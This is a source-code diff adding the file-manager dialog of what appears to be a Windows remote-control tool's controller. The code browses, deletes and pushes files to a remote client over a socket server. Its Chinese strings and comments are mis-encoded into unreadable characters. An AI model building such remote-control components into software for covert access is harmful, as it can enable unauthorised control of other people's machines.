strString.Format("ȷʵҪɾļС%sɾ?", strFileName); + } + else + { + strString.Format("ȷʵҪѡ%sɾ?", strFileName); + } + } + if (::MessageBox(m_hWnd, strString, "ȷɾ", MB_YESNO|MB_ICONQUESTION) == IDNO) + { + return; + } + + EnableControl(FALSE); + + POSITION Pos = m_ControlList_Server.GetFirstSelectedItemPosition(); + while(Pos) + { + int iItem = m_ControlList_Server.GetNextSelectedItem(Pos); + CString strFileFullPath = m_Server_File_Path + m_ControlList_Server.GetItemText(iItem, 0); + // Ŀ¼ + if (m_ControlList_Server.GetItemData(iItem)) + { + strFileFullPath += '\\'; + DeleteDirectory(strFileFullPath); + } + else + { + DeleteFile(strFileFullPath); + } + } + // ļ + EnableControl(TRUE); + + FixedServerFileList("."); +} + + +BOOL CFileManagerDlg::DeleteDirectory(LPCTSTR strDirectoryFullPath) +{ + WIN32_FIND_DATA wfd; + char szBuffer[MAX_PATH] = {0}; + + wsprintf(szBuffer, "%s\\*.*", strDirectoryFullPath); + + HANDLE hFind = FindFirstFile(szBuffer, &wfd); + if (hFind == INVALID_HANDLE_VALUE) // ûҵʧ + return FALSE; + + do + { + if (wfd.cFileName[0] != '.') + { + if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) + { + char szv1[MAX_PATH]; + wsprintf(szv1, "%s\\%s", strDirectoryFullPath, wfd.cFileName); + DeleteDirectory(szv1); + } + else + { + char szv2[MAX_PATH]; + wsprintf(szv2, "%s\\%s", strDirectoryFullPath, wfd.cFileName); + DeleteFile(szv2); + } + } + } while (FindNextFile(hFind, &wfd)); + + FindClose(hFind); // رղҾ + + if(!RemoveDirectory(strDirectoryFullPath)) + { + return FALSE; + } + return true; +} + +BOOL CFileManagerDlg::MakeSureDirectoryPathExists(char* szDirectoryFullPath) +{ + char* szTravel = NULL; + char* szBuffer = NULL; + DWORD dwAttributes; + __try + { + szBuffer = (char*)malloc(sizeof(char)*(strlen(szDirectoryFullPath) + 1)); + + if(szBuffer == NULL) + { + return FALSE; + } + + strcpy(szBuffer, szDirectoryFullPath); + + szTravel = szBuffer; + + if (0) + { + } + else if(*(szTravel+1) == ':') + { + szTravel++; + szTravel++; + if(*szTravel && (*szTravel == '\\')) + { + szTravel++; + } + } + + while(*szTravel) //\Hello\World\Shit\0 + { + if(*szTravel == '\\') + { + *szTravel = '\0'; + dwAttributes = GetFileAttributes(szBuffer); //鿴ǷǷĿ¼ Ŀ¼ + if(dwAttributes == 0xffffffff) + { + if(!CreateDirectory(szBuffer, NULL)) + { + if(GetLastError() != ERROR_ALREADY_EXISTS) + { + free(szBuffer); + return FALSE; + } + } + } + else + { + if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY) + { + free(szBuffer); + szBuffer = NULL; + return FALSE; + } + } + + *szTravel = '\\'; + } + + szTravel = CharNext(szTravel); + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + if (szBuffer!=NULL) + { + free(szBuffer); + + szBuffer = NULL; + } + + return FALSE; + } + + if (szBuffer!=NULL) + { + free(szBuffer); + szBuffer = NULL; + } + return TRUE; +} + +BOOL CFileManagerDlg::PreTranslateMessage(MSG* pMsg) +{ + return CDialog::PreTranslateMessage(pMsg); +} + + +void CFileManagerDlg::OnClose() +{ + // TODO: ڴϢ/Ĭֵ + m_ContextObject->v1 = 0; + CancelIo((HANDLE)m_ContextObject->sClientSocket); + closesocket(m_ContextObject->sClientSocket); + CDialog::OnClose(); + //delete this; // ͷڴӦõģɵ2δļʱ +} + +BOOL CFileManagerDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + CString strString; + strString.Format("%s - Զļ", m_strClientIP); + SetWindowText(strString); + + if (!m_ToolBar_File_Server.Create(this, WS_CHILD | + WS_VISIBLE | CBRS_ALIGN_ANY | CBRS_TOOLTIPS | CBRS_FLYBY, IDR_TOOLBAR_FILE_SERVER) + ||!m_ToolBar_File_Server.LoadToolBar(IDR_TOOLBAR_FILE_SERVER)) + { + + return -1; + } + // m_ToolBar_File_Server.ModifyStyle(0, TBSTYLE_FLAT); //Fix for WinXP + m_ToolBar_File_Server.LoadTrueColorToolBar + ( + 24, //ʹ + IDB_BITMAP_FILE, + IDB_BITMAP_FILE, + IDB_BITMAP_FILE //û + ); + + m_ToolBar_File_Server.AddDropDownButton(this,IDT_SERVER_FILE_VIEW ,IDR_MENU_FILE_SERVER); + + m_ToolBar_File_Server.SetButtonText(0,""); //λͼļ + m_ToolBar_File_Server.SetButtonText(1,"鿴"); + m_ToolBar_File_Server.SetButtonText(2,"ɾ"); + m_ToolBar_File_Server.SetButtonText(3,"½"); + m_ToolBar_File_Server.SetButtonText(5,"ֹͣ"); + RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0); //ʾ + + RECT RectServer; + m_FileServerBarPos.GetWindowRect(&RectServer); + + m_FileServerBarPos.ShowWindow(SW_HIDE); + //ʾ + + m_ToolBar_File_Server.MoveWindow(&RectServer); + + m_ControlList_Server.SetImageList(m_ImageList_Large, LVSIL_NORMAL); + m_ControlList_Server.SetImageList(m_ImageList_Small, LVSIL_SMALL); + + m_ControlList_Client.SetImageList(m_ImageList_Large, LVSIL_NORMAL); + m_ControlList_Client.SetImageList(m_ImageList_Small, LVSIL_SMALL); + + if (!m_StatusBar.Create(this) || + !m_StatusBar.SetIndicators(Indicators, + sizeof(Indicators)/sizeof(UINT))) + { + return -1; + } + + m_StatusBar.SetPaneInfo(0, m_StatusBar.GetItemID(0), SBPS_STRETCH, NULL); + m_StatusBar.SetPaneInfo(1, m_StatusBar.GetItemID(1), SBPS_NORMAL, 120); + m_StatusBar.SetPaneInfo(2, m_StatusBar.GetItemID(2), SBPS_NORMAL, 50); + RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //ʾ״̬ + + RECT ClientRect; + GetClientRect(&ClientRect); + + CRect Rect; + Rect.top=ClientRect.bottom-25; + Rect.left=0; + Rect.right=ClientRect.right; + Rect.bottom=ClientRect.bottom; + + m_StatusBar.MoveWindow(Rect); + + m_StatusBar.GetItemRect(1, &ClientRect); + + ClientRect.bottom -= 1; + + m_ProgressCtrl = new CProgressCtrl; + m_ProgressCtrl->Create(PBS_SMOOTH | WS_VISIBLE, ClientRect, &m_StatusBar, 1); + m_ProgressCtrl->SetRange(0, 100); //ýΧ + m_ProgressCtrl->SetPos(0); //ýǰλ + + FixedServerDiskDriverList(); + FixedClientDiskDriverList(); + + return TRUE; // return TRUE unless you set the focus to a control + // 쳣: OCX ҳӦ FALSE +} + + +VOID CFileManagerDlg::FixedServerDiskDriverList() +{ + CHAR *Travel = NULL; + m_ControlList_Server.DeleteAllItems(); + while(m_ControlList_Server.DeleteColumn(0) != 0); + //ʼбϢ + m_ControlList_Server.InsertColumn(0, "", LVCFMT_LEFT, 70); + m_ControlList_Server.InsertColumn(1, "", LVCFMT_RIGHT, 85); + m_ControlList_Server.InsertColumn(2, "ܴС", LVCFMT_RIGHT, 80); + m_ControlList_Server.InsertColumn(3, "ÿռ", LVCFMT_RIGHT, 90); + + m_ControlList_Server.SetExtendedStyle(LVS_EX_FULLROWSELECT); + + GetLogicalDriveStrings(sizeof(m_szServerDiskDriverList),(LPSTR)m_szServerDiskDriverList); //c:\.d:\. + Travel = m_szServerDiskDriverList; + + CHAR szFileSystem[MAX_PATH]; //ntfs fat32 + unsigned __int64 ulHardDiskAmount = 0; //HardDisk + unsigned __int64 ulHardDiskFreeSpace = 0; + unsigned long ulHardDiskAmountMB = 0; // ܴС + unsigned long ulHardDiskFreeMB = 0; // ʣռ + + for (int i = 0; *Travel != '\0'; i++, Travel += lstrlen(Travel) + 1) + { + // õϢ + memset(szFileSystem, 0, sizeof(szFileSystem)); + // õļϵͳϢС + GetVolumeInformation(Travel, NULL, 0, NULL, NULL, NULL, szFileSystem, MAX_PATH); + + ULONG ulFileSystemLength = lstrlen(szFileSystem) + 1; + if (GetDiskFreeSpaceEx(Travel, (PULARGE_INTEGER)&ulHardDiskFreeSpace, (PULARGE_INTEGER)&ulHardDiskAmount, NULL)) + { + ulHardDiskAmountMB = ulHardDiskAmount / 1024 / 1024; + ulHardDiskFreeMB = ulHardDiskFreeSpace / 1024 / 1024; + } + else + { + ulHardDiskAmountMB = 0; + ulHardDiskFreeMB = 0; + } + + int iItem = m_ControlList_Server.InsertItem(i, Travel,GetServerIconIndex(Travel,GetFileAttributes(Travel))); //ϵͳͼ + + m_ControlList_Server.SetItemData(iItem, 1); + + SHFILEINFO sfi; + SHGetFileInfo(Travel, FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); + m_ControlList_Server.SetItemText(iItem, 1, sfi.szTypeName); + + CString strCount; + strCount.Format("%10.1f GB", (float)ulHardDiskAmountMB / 1024); + m_ControlList_Server.SetItemText(iItem, 2, strCount); + strCount.Format("%10.1f GB", (float)ulHardDiskFreeMB / 1024); + m_ControlList_Server.SetItemText(iItem, 3, strCount); + } +} + +VOID CFileManagerDlg::FixedClientDiskDriverList() +{ + m_ControlList_Client.DeleteAllItems(); + + m_ControlList_Client.InsertColumn(0, "", LVCFMT_LEFT, 70); + m_ControlList_Client.InsertColumn(1, "", LVCFMT_RIGHT, 85); + m_ControlList_Client.InsertColumn(2, "ܴС", LVCFMT_RIGHT, 80); + m_ControlList_Client.InsertColumn(3, "ÿռ", LVCFMT_RIGHT, 90); + + m_ControlList_Client.SetExtendedStyle(LVS_EX_FULLROWSELECT); + + char *Travel = NULL; + Travel = (char *)m_szClientDiskDriverList; //ѾȥϢͷ1ֽ + + int i = 0; + ULONG ulIconIndex = 0; + for (i = 0; Travel[i] != '\0';) + { + //жͼ + if (Travel[i] == 'A' || Travel[i] == 'B') + { + ulIconIndex = 6; + } + else + { + switch (Travel[i + 1]) //ж 鿴ض + { + case DRIVE_REMOVABLE: + ulIconIndex = 2+5; + break; + case DRIVE_FIXED: + ulIconIndex = 3+5; + break; + case DRIVE_REMOTE: + ulIconIndex = 4+5; + break; + case DRIVE_CDROM: + ulIconIndex = 9; //Win7Ϊ10 + break; + default: + ulIconIndex = 0; + break; + } + } + // 02E3F844 43 03 04 58 02 00 73 D7 00 00 B1 BE B5 D8 B4 C5 C5 CC 00 4E 54 46 53 00 44 C..X..s...ش.NTFS.D + // 2E3F85E 03 04 20 03 00 FC 5B 00 00 B1 BE B5 D8 B4 C5 C5 CC 00 4E 54 46 53 00 + + CString strVolume; + strVolume.Format("%c:\\", Travel[i]);//c: + int iItem = m_ControlList_Client.InsertItem(i, strVolume,ulIconIndex); + m_ControlList_Client.SetItemData(iItem, 1); //ʾ + + unsigned long ulHardDiskAmountMB = 0; // ܴС + unsigned long ulHardDiskFreeMB = 0; // ʣռ + memcpy(&ulHardDiskAmountMB, Travel + i + 2, 4); + memcpy(&ulHardDiskFreeMB, Travel + i + 6, 4); + CString strCount; + strCount.Format("%10.1f GB", (float)ulHardDiskAmountMB / 1024); + m_ControlList_Client.SetItemText(iItem, 2, strCount); + strCount.Format("%10.1f GB", (float)ulHardDiskFreeMB / 1024); + m_ControlList_Client.SetItemText(iItem, 3, strCount); + + i += 10; //10 + + CString strTypeName; + strTypeName = Travel + i; + m_ControlList_Client.SetItemText(iItem, 1, strTypeName); + i += strlen(Travel + i) + 1; + i += strlen(Travel + i) + 1; + } +} + +void CFileManagerDlg::OnNMDblclkListServer(NMHDR *pNMHDR, LRESULT *pResult) +{ + LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast(pNMHDR); + // TODO: ڴӿؼ֪ͨ + + if (m_ControlList_Server.GetSelectedCount() == 0 || m_ControlList_Server.GetItemData(m_ControlList_Server.GetSelectionMark()) != 1) + return; + + FixedServerFileList(); + *pResult = 0; +} + +VOID CFileManagerDlg::FixedServerFileList(CString strDirectory) +{ + if (strDirectory.GetLength() == 0) + { + int iItem = m_ControlList_Server.GetSelectionMark(); + + // ѡеģĿ¼ + if (iItem != -1) + { + if (m_ControlList_Server.GetItemData(iItem) == 1) // + { + strDirectory = m_ControlList_Server.GetItemText(iItem, 0); + } + } + // Ͽõ· + else + { + m_ComboBox_Server.GetWindowText(m_Server_File_Path); + } + } + + if (strDirectory == "..") + { + m_Server_File_Path = GetParentDirectory(m_Server_File_Path); + } + // ˢµǰ + else if (strDirectory != ".") //c:\ 1 + { + /* c:\ */ + m_Server_File_Path += strDirectory; + if(m_Server_File_Path.Right(1) != "\\") + { + m_Server_File_Path += "\\"; + } + } + + // ĸĿ¼,شб + if (m_Server_File_Path.GetLength() == 0) + { + FixedServerDiskDriverList(); + return; + } + + m_ComboBox_Server.InsertString(0, m_Server_File_Path); + m_ComboBox_Server.SetCurSel(0); + + m_ControlList_Server.DeleteAllItems(); + while(m_ControlList_Server.DeleteColumn(0) != 0); //ɾ + m_ControlList_Server.InsertColumn(0, "", LVCFMT_LEFT, 200); + m_ControlList_Server.InsertColumn(1, "С", LVCFMT_LEFT, 100); + m_ControlList_Server.InsertColumn(2, "", LVCFMT_LEFT, 100); + m_ControlList_Server.InsertColumn(3, "޸", LVCFMT_LEFT, 115); + + int iItemIndex = 0; + m_ControlList_Server.SetItemData(m_ControlList_Server.InsertItem(iItemIndex++, "..", + GetServerIconIndex(NULL, FILE_ATTRIBUTE_DIRECTORY)),1); + + // i Ϊ 0 ʱĿ¼i Ϊ 1ʱļ + for (int i = 0; i < 2; i++) + { + CFileFind FindFile; + BOOL bContinue; + bContinue = FindFile.FindFile(m_Server_File_Path + "*.*"); //c:\*.* //.. . 1.txt + while (bContinue) + { + bContinue = FindFile.FindNextFile(); + if (FindFile.IsDots()) // . + continue; + BOOL bIsInsert = !FindFile.IsDirectory() == i; + + if (!bIsInsert) + continue; + + int iItem = m_ControlList_Server.InsertItem(iItemIndex++, FindFile.GetFileName(), + GetServerIconIndex(FindFile.GetFileName(), GetFileAttributes(FindFile.GetFilePath()))); + m_ControlList_Server.SetItemData(iItem, FindFile.IsDirectory()); + SHFILEINFO sfi; + SHGetFileInfo(FindFile.GetFileName(), FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), + SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); + + if (FindFile.IsDirectory()) + { + m_ControlList_Server.SetItemText(iItem, 2, "ļ"); + } + + else + { + m_ControlList_Server.SetItemText(iItem,2, sfi.szTypeName); + } + + CString strFileLength; + strFileLength.Format("%10d KB", FindFile.GetLength() / 1024 + (FindFile.GetLength() % 1024 ? 1 : 0)); + m_ControlList_Server.SetItemText(iItem, 1, strFileLength); + CTime Time; + FindFile.GetLastWriteTime(Time); + m_ControlList_Server.SetItemText(iItem, 3, Time.Format("%Y-%m-%d %H:%M")); + } + } +} + +void CFileManagerDlg::OnCbnSelchangeComboServer() +{ + int iIndex = m_ComboBox_Server.GetCurSel(); + CString strString; + m_ComboBox_Server.GetLBText(iIndex,strString); + + m_ComboBox_Server.SetWindowText(strString); + + FixedServerFileList(); +} + +void CFileManagerDlg::OnViewBigIcon() +{ + // TODO: ڴ + m_ControlList_Server.ModifyStyle(LVS_TYPEMASK, LVS_ICON); +} + + +void CFileManagerDlg::OnViewSmallIcon() +{ + // TODO: ڴ + m_ControlList_Server.ModifyStyle(LVS_TYPEMASK, LVS_SMALLICON); +} + +void CFileManagerDlg::OnViewDetail() +{ + m_ControlList_Server.ModifyStyle(LVS_TYPEMASK, LVS_REPORT); +} + +void CFileManagerDlg::OnViewList() +{ + m_ControlList_Server.ModifyStyle(LVS_TYPEMASK, LVS_LIST); +} + +void CFileManagerDlg::OnNMDblclkListClient(NMHDR *pNMHDR, LRESULT *pResult) +{ + LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast(pNMHDR); + + if (m_ControlList_Client.GetSelectedCount() == 0 || m_ControlList_Client.GetItemData(m_ControlList_Client.GetSelectionMark()) != 1) + { + return; + } + + GetClientFileList(); //Ϣ + *pResult = 0; +} + + +VOID CFileManagerDlg::GetClientFileList(CString strDirectory) +{ + if (strDirectory.GetLength() == 0) //̾ + { + int iItem = m_ControlList_Client.GetSelectionMark(); + + // ѡеģĿ¼ + if (iItem != -1) + { + if (m_ControlList_Client.GetItemData(iItem) == 1) + { + strDirectory = m_ControlList_Client.GetItemText(iItem, 0); /* D:\ */ + } + } + } + + else if (strDirectory != ".") + { + m_Client_File_Path += strDirectory; + if(m_Client_File_Path.Right(1) != "\\") + { + m_Client_File_Path += "\\"; + } + } + + if (m_Client_File_Path.GetLength() == 0) + { + // FixedRemoteDriveList(); + return; + } + + ULONG ulLength = m_Client_File_Path.GetLength() + 2; + BYTE *szBuffer = (BYTE *)new BYTE[ulLength]; + //COMMAND_LIST_FILES ͵ƶˣ + szBuffer[0] = COMMAND_LIST_FILES; + memcpy(szBuffer + 1, m_Client_File_Path.GetBuffer(0), ulLength - 1); + m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, ulLength); + delete[] szBuffer; + szBuffer = NULL; + + // m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path); + // m_Remote_Directory_ComboBox.SetCurSel(0); + + // õǰ + m_ControlList_Client.EnableWindow(FALSE); + m_ProgressCtrl->SetPos(0); +} + +VOID CFileManagerDlg::OnReceiveComplete() +{ + if (m_ContextObject==NULL) + { + return; + } + + switch(m_ContextObject->InDeCompressedBuffer.GetBuffer()[0]) + { + case TOKEN_FILE_LIST: + { + FixedClientFileList(m_ContextObject->InDeCompressedBuffer.GetBuffer(), + m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1); + break; + } + + case TOKEN_DATA_CONTINUE: + { + + SendFileData(); + + break; + } + case TOKEN_GET_TRANSFER_MODE: + { + SendTransferMode(); + break; + } + } +} + + +VOID CFileManagerDlg::SendTransferMode() //ض˷͵ļڱضϴʾδ +{ + CFileTransferModeDlg Dlg(this); + Dlg.m_strFileName = m_strDestFileFullPath; + switch (Dlg.DoModal()) + { + case IDC_OVERWRITE: + m_ulTransferMode = TRANSFER_MODE_OVERWRITE; + break; + case IDC_OVERWRITE_ALL: + m_ulTransferMode = TRANSFER_MODE_OVERWRITE_ALL; + break; + case IDC_JUMP: + m_ulTransferMode = TRANSFER_MODE_JUMP; + break; + case IDC_JUMP_ALL: + m_ulTransferMode = TRANSFER_MODE_JUMP_ALL; + break; + case IDCANCEL: + m_ulTransferMode = TRANSFER_MODE_CANCEL; + break; + } + if (m_ulTransferMode == TRANSFER_MODE_CANCEL) + { + // m_bIsStop = true; + EndCopyServerToClient(); + return; + } + + BYTE bToken[5]; + bToken[0] = COMMAND_SET_TRANSFER_MODE; + memcpy(bToken + 1, &m_ulTransferMode, sizeof(m_ulTransferMode)); + m_iocpServer->OnClientPreSending(m_ContextObject, (unsigned char *)&bToken, sizeof(bToken)); +} + +VOID CFileManagerDlg::SendFileData() +{ + FILE_SIZE *FileSize = (FILE_SIZE *)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1)); + LONG dwOffsetHigh = FileSize->dwSizeHigh ; //0 + LONG dwOffsetLow = FileSize->dwSizeLow; //0 + + m_ulCounter = MAKEINT64(FileSize->dwSizeLow, FileSize->dwSizeHigh); //0 + + ShowProgress(); //֪ͨ + + if (m_ulCounter == m_OperatingFileLength||m_bIsStop) + { + EndCopyServerToClient(); //¸Ĵ + return; + } + + HANDLE hFile; + hFile = CreateFile(m_strSourFileFullPath.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); + if (hFile == INVALID_HANDLE_VALUE) + { + return; + } + + SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); //8192 4G 300 + + int iHeadLength = 9; // 1 + 4 + 4 ݰͷСΪ̶9 + + DWORD dwNumberOfBytesToRead = MAX_SEND_BUFFER - iHeadLength; + DWORD dwNumberOfBytesRead = 0; + BYTE *szBuffer = (BYTE *)LocalAlloc(LPTR, MAX_SEND_BUFFER); + + if (szBuffer==NULL) + { + CloseHandle(hFile); + return; + } + + szBuffer[0] = COMMAND_FILE_DATA; + + memcpy(szBuffer + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); + memcpy(szBuffer + 5, &dwOffsetLow, sizeof(dwOffsetLow)); //flag 0000 00 40 20 20 + + ReadFile(hFile, szBuffer + iHeadLength, dwNumberOfBytesToRead, &dwNumberOfBytesRead, NULL); + CloseHandle(hFile); + + if (dwNumberOfBytesRead > 0) + { + ULONG ulLength = dwNumberOfBytesRead + iHeadLength; + m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, ulLength); + } + LocalFree(szBuffer); +} + +VOID CFileManagerDlg::FixedClientFileList(BYTE *szBuffer, ULONG ulLength) +{ + // ؽ + m_ControlList_Client.DeleteAllItems(); + while(m_ControlList_Client.DeleteColumn(0) != 0); + m_ControlList_Client.InsertColumn(0, "", LVCFMT_LEFT, 200); + m_ControlList_Client.InsertColumn(1, "С", LVCFMT_LEFT, 100); + m_ControlList_Client.InsertColumn(2, "", LVCFMT_LEFT, 100); + m_ControlList_Client.InsertColumn(3, "޸", LVCFMT_LEFT, 115); + + int iItemIndex = 0; + m_ControlList_Client.SetItemData(m_ControlList_Client.InsertItem(iItemIndex++, "..", GetServerIconIndex(NULL, FILE_ATTRIBUTE_DIRECTORY)),1); + /* + ListView ˸ + ǰSetRedraw(FALSE) + ºSetRedraw(TRUE) + */ + //m_list_remote.SetRedraw(FALSE); + + if (ulLength != 0) + { + // ʾб + for (int i = 0; i < 2; i++) + { + // Token //[Flag 1 HelloWorld\0С С ʱ ʱ 0 1.txt\0 С С ʱ ʱ] + char *szTravel = (char *)(szBuffer + 1); + + //[1 HelloWorld\0С С ʱ ʱ 0 1.txt\0 С С ʱ ʱ] + for(char *szBase = szTravel; szTravel - szBase < ulLength - 1;) + { + char *szFileName = NULL; + DWORD dwFileSizeHigh = 0; // ļֽڴС + DWORD dwFileSizeLow = 0; // ļֽڴС + int iItem = 0; + bool bIsInsert = false; + FILETIME FileTime; + + int iType = *szTravel ? FILE_ATTRIBUTE_DIRECTORY : FILE_ATTRIBUTE_NORMAL; + // i Ϊ 0 ʱĿ¼iΪ1ʱļ + bIsInsert = !(iType == FILE_ATTRIBUTE_DIRECTORY) == i; + + //0==1 0==0 !1 0 + + ////[HelloWorld\0С С ʱ ʱ 0 1.txt\0 С С ʱ ʱ] + szFileName = ++szTravel; + + if (bIsInsert) + { + iItem = m_ControlList_Client.InsertItem(iItemIndex++, szFileName, GetServerIconIndex(szFileName, iType)); + m_ControlList_Client.SetItemData(iItem, iType == FILE_ATTRIBUTE_DIRECTORY); // + SHFILEINFO sfi; + SHGetFileInfo(szFileName, FILE_ATTRIBUTE_NORMAL | iType, &sfi,sizeof(SHFILEINFO), + SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); + m_ControlList_Client.SetItemText(iItem, 2, sfi.szTypeName); + } + + // õļС + szTravel += strlen(szFileName) + 1; + if (bIsInsert) + { + memcpy(&dwFileSizeHigh,szTravel, 4); + memcpy(&dwFileSizeLow, szTravel + 4, 4); + CString strFileSize; + strFileSize.Format("%10d KB", (dwFileSizeHigh * (MAXDWORD+1)) / 1024 + dwFileSizeLow / 1024 + (dwFileSizeLow % 1024 ? 1 : 0)); + m_ControlList_Client.SetItemText(iItem, 1, strFileSize); + memcpy(&FileTime, szTravel + 8, sizeof(FILETIME)); + CTime Time(FileTime); + m_ControlList_Client.SetItemText(iItem, 3, Time.Format("%Y-%m-%d %H:%M")); + } + szTravel += 16; + } + } + } + + // m_list_remote.SetRedraw(TRUE); + // ָ + m_ControlList_Client.EnableWindow(TRUE); +} + +//ض򱻿ض˽п +void CFileManagerDlg::OnLvnBegindragListServer(NMHDR *pNMHDR, LRESULT *pResult) +{ + NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR; + + if (m_Client_File_Path.IsEmpty()||m_Server_File_Path.IsEmpty()) + { + return; + } + + // m_ulDragIndex = pNMListView->iItem; //Ҫϵ + + if(m_ControlList_Server.GetSelectedCount() > 1) //任ʽ ѡק + { + m_hCursor = AfxGetApp()->LoadCursor(IDC_CURSOR_MDRAG); + } + else + { + m_hCursor = AfxGetApp()->LoadCursor(IDC_CURSOR_DRAG); + } + + m_bDragging = TRUE; + m_DragControlList = &m_ControlList_Server; + m_DropControlList = &m_ControlList_Server; + + SetCapture(); + *pResult = 0; +} + + +void CFileManagerDlg::OnMouseMove(UINT nFlags, CPoint point) +{ + // TODO: ڴϢ/Ĭֵ + if (m_bDragging) //ֻקȤ + { + CPoint Point(point); //λ + ClientToScreen(&Point); //תԼĻ + + //ôھ + CWnd* pDropWnd = WindowFromPoint(Point); //ֵλ ûпؼ + + if(pDropWnd->IsKindOf(RUNTIME_CLASS (CListCtrl))) //ǵĴڷΧ + { + SetCursor(m_hCursor); + + return; + } + else + { + SetCursor(LoadCursor(NULL,IDC_NO)); //ڻʽ + } + } + + CDialog::OnMouseMove(nFlags, point); +} + + +void CFileManagerDlg::OnLButtonUp(UINT nFlags, CPoint point) +{ + if (m_bDragging) + { + ReleaseCapture(); //ͷIJ + + m_bDragging = FALSE; + + CPoint Point(point); //õǰλĻ + ClientToScreen (&Point); //תڵǰûĴڵλ + + CWnd* DropWnd = WindowFromPoint (Point); //õǰ·޿ؼ + + if (DropWnd->IsKindOf (RUNTIME_CLASS (CListCtrl))) //һListControl + { + m_DropControlList = (CListCtrl*)DropWnd; //浱ǰĴھ + + DropItemOnList(); // + } + } + + CDialog::OnLButtonUp(nFlags, point); +} + +VOID CFileManagerDlg::DropItemOnList() +{ + if (m_DragControlList==m_DropControlList) + { + return; + } + + if ((CWnd *)m_DropControlList == &m_ControlList_Server) + { + // m_nDropIndex = m_list_local.GetSelectionMark(); + // OnIdtRemoteCopy(); + } + else if ((CWnd *)m_DropControlList == &m_ControlList_Client) + { + //m_nDropIndex = m_list_remote.GetSelectionMark(); + OnCopyServerToClient(); + } + else + { + return; + } + // + //m_nDropIndex = -1; +} + +VOID CFileManagerDlg::OnCopyServerToClient() //ض˵ض +{ + m_Remote_Upload_Job.RemoveAll(); + POSITION Pos = m_ControlList_Server.GetFirstSelectedItemPosition(); + while(Pos) + { + int iItem = m_ControlList_Server.GetNextSelectedItem(Pos); + CString strFileFullPath = NULL; + + if (0) + //if (m_IsLocalFinding) + {/* "2015-02-09 12:550 .-. Deja Ver (Ft. Tony Dize).mp3" */ + + //strFileName = m_ControlList_Server.GetItemText(iItem, 3) + m_list_local.GetItemText(nItem, 0); + } + else + { + strFileFullPath = m_Server_File_Path + m_ControlList_Server.GetItemText(iItem, 0); + } + // Ŀ¼ + if (m_ControlList_Server.GetItemData(iItem)) + { + strFileFullPath += '\\'; + FixedServerToClientDirectory(strFileFullPath.GetBuffer(0)); + } + else + { + // ӵϴбȥ + HANDLE hFile = CreateFile(strFileFullPath,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE, + NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); + + if (hFile==INVALID_HANDLE_VALUE) + { + continue; + } + m_Remote_Upload_Job.AddTail(strFileFullPath); + + CloseHandle(hFile); + } + } + if (m_Remote_Upload_Job.IsEmpty()) + { + ::MessageBox(m_hWnd, "ļΪ", "", MB_OK|MB_ICONWARNING); + return; + } + EnableControl(FALSE); + SendToClientJob(); //͵һ +} + +BOOL CFileManagerDlg::FixedServerToClientDirectory(LPCTSTR szDircetoryFullPath) +{ + CHAR szBuffer[MAX_PATH]; + CHAR *szSlash = NULL; + memset(szBuffer, 0, sizeof(szBuffer)); + + if (szDircetoryFullPath[strlen(szDircetoryFullPath) - 1] != '\\') + szSlash = "\\"; + else + szSlash = ""; + + sprintf(szBuffer, "%s%s*.*", szDircetoryFullPath, szSlash); + + WIN32_FIND_DATA wfd; + HANDLE hFind = FindFirstFile(szBuffer, &wfd); //C;|1\*.* + if (hFind == INVALID_HANDLE_VALUE) // ûҵʧ + return FALSE; + do + { + if (wfd.cFileName[0] == '.') + continue; // Ŀ¼ '.''..' + if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) + { + CHAR szv1[MAX_PATH]; + sprintf(szv1, "%s%s%s", szDircetoryFullPath,szSlash, wfd.cFileName); + FixedServerToClientDirectory(szv1); // ҵĿ¼Ŀ¼еݹ + } + else + { + CString strFileFullPath; + strFileFullPath.Format("%s%s%s", szDircetoryFullPath, szSlash, wfd.cFileName); + m_Remote_Upload_Job.AddTail(strFileFullPath); + // ļв + } + } while (FindNextFile(hFind, &wfd)); + FindClose(hFind); // رղҾ + return true; +} + +VOID CFileManagerDlg::EndCopyServerToClient() //ͼûоͻָ +{ + m_ulCounter = 0; + m_OperatingFileLength = 0; + + ShowProgress(); + if (m_Remote_Upload_Job.IsEmpty()|| m_bIsStop) + { + m_Remote_Upload_Job.RemoveAll(); + m_bIsStop = FALSE; + EnableControl(TRUE); + m_ulTransferMode = TRANSFER_MODE_NORMAL; + GetClientFileList("."); + } + else + { + Sleep(5); + + SendToClientJob(); + } + return; +} + +BOOL CFileManagerDlg::SendToClientJob() //ض˵ض˵ķ +{ + if (m_Remote_Upload_Job.IsEmpty()) + return FALSE; + + CString strDestDirectory = m_Client_File_Path; + + m_strSourFileFullPath = m_Remote_Upload_Job.GetHead(); //õһ + + DWORD dwSizeHigh; + DWORD dwSizeLow; + // 1 ֽtoken, 8ֽڴС, ļ, '\0' + HANDLE hFile; + CString strString = m_strSourFileFullPath; // Զļ + + // õҪ浽Զ̵ļ· + strString.Replace(m_Server_File_Path, m_Client_File_Path); //D:1.txt E:1.txt + m_strDestFileFullPath = 